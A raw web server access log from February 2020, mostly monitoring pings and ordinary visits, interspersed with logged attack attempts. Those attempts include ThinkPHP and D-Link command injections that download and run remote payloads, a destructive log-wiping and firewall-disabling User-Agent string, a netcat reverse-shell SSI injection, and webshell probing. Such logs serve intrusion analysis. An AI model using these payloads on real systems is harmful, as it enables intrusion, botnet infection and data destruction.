212.91.246.72 - - [25/Feb/2020:09:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:07:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:08:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:09:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:10:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:11:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.185.164.84 - - [25/Feb/2020:09:11:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:09:12:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:13:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:14:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.47.46.85 - - [25/Feb/2020:09:15:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:09:15:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:16:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:17:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:18:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:19:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:20:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:21:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:22:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:23:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:24:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:25:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:26:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.234.140.203 - - [25/Feb/2020:09:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [25/Feb/2020:09:27:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.194.81 - - [25/Feb/2020:09:28:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [25/Feb/2020:09:28:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.145.228.213 - - [25/Feb/2020:09:29:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:09:29:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:30:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.155.179.176 - - [25/Feb/2020:09:31:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:09:31:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:32:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:33:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:34:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.227.55.76 - - [25/Feb/2020:09:34:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:09:35:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:36:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:37:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:38:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:39:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [25/Feb/2020:09:40:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [25/Feb/2020:09:40:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:41:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.251.175.254 - - [25/Feb/2020:09:42:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:09:42:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:43:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:44:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:45:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:46:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:47:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:48:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:49:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:50:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:51:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:53:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:54:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:55:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:56:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.206.53.202 - - [25/Feb/2020:09:56:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
78.189.52.142 - - [25/Feb/2020:09:57:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:09:57:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:09:59:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:00:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:02:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:03:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:04:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [25/Feb/2020:10:04:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [25/Feb/2020:10:05:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:06:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.67.66.64 - - [25/Feb/2020:10:07:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:10:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.164.41.79 - - [25/Feb/2020:10:08:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:10:08:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.226.137 - - [25/Feb/2020:10:09:05 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
212.91.246.72 - - [25/Feb/2020:10:09:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:10:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:11:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:12:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:13:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:14:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:15:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.173.111.195 - - [25/Feb/2020:10:15:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
193.198.66.62 - - [25/Feb/2020:10:15:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:10:16:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.226.137 - - [25/Feb/2020:10:17:26 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
212.91.246.72 - - [25/Feb/2020:10:17:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:18:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:10:19:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.204.56.213 - - [25/Feb/2020:10:19:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
129.204.56.213 - - [25/Feb/2020:10:19:59 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
129.204.56.213 - - [25/Feb/2020:10:19:59 +0100] "POST /Admin54f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
129.204.56.213 - - [25/Feb/2020:10:20:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
129.204.56.213 - - [25/Feb/2020:10:20:26 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
129.204.56.213 - - [25/Feb/2020:10:20:27 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
129.204.56.213 - - [25/Feb/2020:10:20:27 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
129.204.56.213 - - [25/Feb/2020:10:20:27 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:10:20:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.204.56.213 - - [25/Feb/2020:10:20:55 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
129.204.56.213 - - [25/Feb/2020:10:21:19 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:10:21:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.204.56.213 - - [25/Feb/2020:10:21:43 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
80.82.70.118 - - [25/Feb/2020:10:21:52 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
129.204.56.213 - - [25/Feb/2020:10:22:07 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
129.204.56.213 - - [25/Feb/2020:10:22:31 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:10:22:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.204.56.213 - - [25/Feb/2020:10:22:55 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
129.204.56.213 - - [25/Feb/2020:10:22:55 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:22:55 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:22:57 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:22:58 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:22:58 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:22:59 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:00 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:02 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:03 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:03 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:03 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:03 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:04 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:05 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:05 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:06 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:06 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:06 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:07 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:07 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:07 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:09 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:09 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:10 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:10 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:10 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:11 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:11 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:14 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
129.204.56.213 - - [25/Feb/2020:10:23:15 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
